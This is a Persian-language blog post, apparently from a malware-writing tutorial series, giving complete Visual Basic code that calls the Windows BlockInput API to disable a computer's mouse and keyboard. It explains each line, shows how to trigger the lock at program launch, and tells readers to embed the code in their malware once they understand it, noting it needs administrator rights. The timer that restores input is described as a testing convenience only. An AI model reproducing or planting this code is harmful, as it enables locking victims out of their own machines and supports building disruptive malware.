در پست قبلی ساخت صفحه دیفیس برای سیستم و تصرف کل دسکتاپ و برنامه های سیستم رو بررسی کردیم.

برنامه ای که درست کرده بودیم با فشار دادن کلید های ترکیبی Alt +F4 و ... بسته میشد.

البته یه تکه کد مخرب هم بهش اضافه کرده بودیم که در صورت بسته شدن برنامه هم متوقف نمیشد.

در این پست با کدهایی آشنا میشیم که باعث غیر فعال شدن موس و کیبورد و یا هنگ کردن سیستم میشن و از بسته شدن برنامه جلوگیری خواهند کرد.

مسلما تکه کدهای زیادی وجود داره تا این دو سخت افزار رو غیر فعال کنیم اینجا دو روش رو بررسی خواهیم کرد.

طبق عادت کدهای کوتاه تر و قوی تر رو توضیح میدم ولی بهتره این پروژه (غیرفعال کردن موس و کیبورد) رو جداگانه کار کنیم تا هم بتونید راحت تر تستش کنید و هم یاد بگیرید تا بتونید در هر برنامه یا پروژه ای اضافه اش کنید.

یه پروژه جدید در ویژوآل بیسیک ایجاد کنید و کارکتر های زیر رو بهش اضافه کنید.

یک عدد Button

یک عدد Progress

و یک Timer 

روی فورم یا یکی از اجزا دوبل کلیک کنید تا به قسمت کد نویسی بریم.

تمام کدهای موجود در صفحه رو پاک کنید و کدهای زیر رو کپی کنید.

Public Class Form1
    Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        BlockInput(True)
        ProgressBar1.Increment(+5)
        If ProgressBar1.Value = 100 Then
            Timer1.Enabled = False
            BlockInput(False)
            MsgBox("Virus32.blog.ir")
            ProgressBar1.Value = 0
        End If
    End Sub
End Class

کدهای بالا رو خط به خط توضیح میدم

اصلی ترین کد خط زیر هستش که باعث غیر فعال شدن موس و کیبورد میشه

   Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

این کد رو نمیتونید تو قسمت فورم لود قرار بدیم چون خودش یه sub جداگانه است ولی ما میتونیم این کد رو نوشته و در قسمت کدهای فورم لود ، تکه کد زیر رو قرار بدیم تا وقتی برنامه اجرا شد موس و کیبورد هم غیر فعال بشه

BlockInput(True)

ولی من اینجا این کدهارو برای تایمر و دکمه ای که در فورم قرار دادیم تعریف کردم تا شما هم بتونید تستش کنید و یا با کدها به دلخواه خودتون بازی کنید که وقتی در نهایت با کدها بهتر آشنا شدین اونو بصورتی که گفتم در بد افزارها جاسازش کنید و ...

تکه کد بعدی برای دکمه یا همون Button هستش که قراره با کلیک کردن بر روی اون تایمرمون فعال بشه

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
    End Sub

ادامه ی کدها مربوط به تایمر هستش که قراره تکه کد اولی (کد اصلی) رو فعال کنه یعنی موس و کیبورد رو غیر فعال کنه

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        BlockInput(True)

و Progress رو با سرعت تعریف شده ی 5 به حرکت دربیاره

        ProgressBar1.Increment(+5)

در ادامه وقتی Progress به صد در صد خود رسید تایمر باید غیر فعال شه که به دنبال اون کد اصلی هم غیر فعال خواهد شد

        If ProgressBar1.Value = 100 Then
            Timer1.Enabled = False
            BlockInput(False)

در پایان هم پیامی نمایش خواهد داد

            MsgBox("Virus32.blog.ir")

در کل کاری که این برنامه انجام میده اینه که وقتی روی دکمه کلیک کردیم موس و کیبورد رو غیر فعال میکنه و بعد از چند ثانیه دوباره موس و کیبورد فعال میشه.

من برای برنامه تایمر گذاشتم تا خودمون برای تستش اذیت نشیم.

دقت کنید شاید موقع نوشتن این برنامه نتونید از محیط برنامه نویسی تستش کنید چون باید بصورت Run as admin اجرا بشه

برای تست باید برین پوشه ای که برنامه تون رو توش ذخیره میکنید و روی برنامه کلیک راست کنید و با گزینه Run as اجراش کنید.